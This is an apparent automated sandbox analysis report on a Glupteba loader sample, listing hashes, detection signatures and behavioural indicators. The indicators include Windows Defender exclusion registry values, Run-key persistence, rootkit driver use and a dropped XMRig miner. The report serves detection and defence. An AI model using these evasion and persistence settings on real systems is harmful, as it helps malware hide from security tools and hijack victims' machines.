glupteba | a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a

Analysis

max time kernel
299s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18-04-2024 23:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Size

4.2MB
MD5

833cf4b485610329398b1a0065601b9a
SHA1

c8a5a74c18517a0f9f6132f4e5f277c6a7303a92
SHA256

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a
SHA512

df304d862cbb43eb222d81a23f1d4a179d5cc4e2ef73758ee130019280de97b1b1da5bf2d14d71c8b4128cf6206555f043c15670632b472efe8dd3b5d6156531
SSDEEP

98304:MDn8uVXpbXzRUXTOQ6Hh/FjDMnFLwJ6UPb6XVjM+xYLPI8j0:MD8uVVDRUFg7EnFLmjPc5CLPn0

Score

10^/10

glupteba xmrig discovery dropper evasion loader miner persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 37 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3616-2-0x0000000005100000-0x00000000059EB000-memory.dmp	family_glupteba
behavioral2/memory/3616-3-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/3616-300-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/3616-302-0x0000000005100000-0x00000000059EB000-memory.dmp	family_glupteba
behavioral2/memory/2648-304-0x0000000005180000-0x0000000005A6B000-memory.dmp	family_glupteba
behavioral2/memory/2648-307-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/2648-798-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/2648-1040-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1046-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1782-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1791-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1792-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1794-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1797-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1799-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1800-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1802-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1804-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1807-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1809-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1810-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1812-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1814-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1816-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1819-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1821-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1822-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1824-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1826-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1829-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-1831-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-2266-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/1020-2611-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-2835-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-2838-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-2842-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4880-2848-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

2548 netsh.exe

pid	process
2548	netsh.exe

Executes dropped EXE 9 IoCs

Processes:

csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.execsrss.exewup.exe713674d5e968cbe2102394be0b2bae6f.exe1bf850b4d9587c1017a75a47680584c4.exe

pid	process
4880	csrss.exe
2848	injector.exe
3860	windefender.exe
1196	windefender.exe
3524	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
1020	csrss.exe
592	wup.exe
3092	713674d5e968cbe2102394be0b2bae6f.exe
1576	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
behavioral2/memory/3860-1789-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1196-1793-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1196-1796-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1196-1820-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe	upx
behavioral2/memory/3524-2135-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe	upx
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe	upx
behavioral2/memory/3092-2837-0x0000000000040000-0x000000000090D000-memory.dmp	upx
behavioral2/memory/1576-2840-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/3092-2841-0x0000000000040000-0x000000000090D000-memory.dmp	upx
behavioral2/memory/1576-2844-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/1576-2847-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/3092-2849-0x0000000000040000-0x000000000090D000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe = "0"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMon csrss.exe
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
File opened for modification	\??\WinMon	csrss.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe

Drops file in Windows directory 4 IoCs

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.execsrss.exe

description	ioc	process
File opened for modification	C:\Windows\rss	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
File created	C:\Windows\rss\csrss.exe	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

2136 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3896 schtasks.exe
5064 schtasks.exe
GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 39 Go-http-client/1.1
HTTP User-Agent header 109 Go-http-client/1.1
HTTP User-Agent header 110 Go-http-client/1.1

pid	process
2136	sc.exe

pid	process
3896	schtasks.exe
5064	schtasks.exe

description	flow	ioc
HTTP User-Agent header	39	Go-http-client/1.1
HTTP User-Agent header	109	Go-http-client/1.1
HTTP User-Agent header	110	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exepowershell.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2491 = "Aus Central W. Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2792 = "Novosibirsk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-251 = "Dateline Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-622 = "Korea Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2412 = "Marquesas Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-291 = "Central European Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-202 = "US Mountain Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2181 = "Astrakhan Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-384 = "Namibia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time"	windefender.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exea3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exepowershell.exea3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exe

pid	process
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
4880	csrss.exe
4880	csrss.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
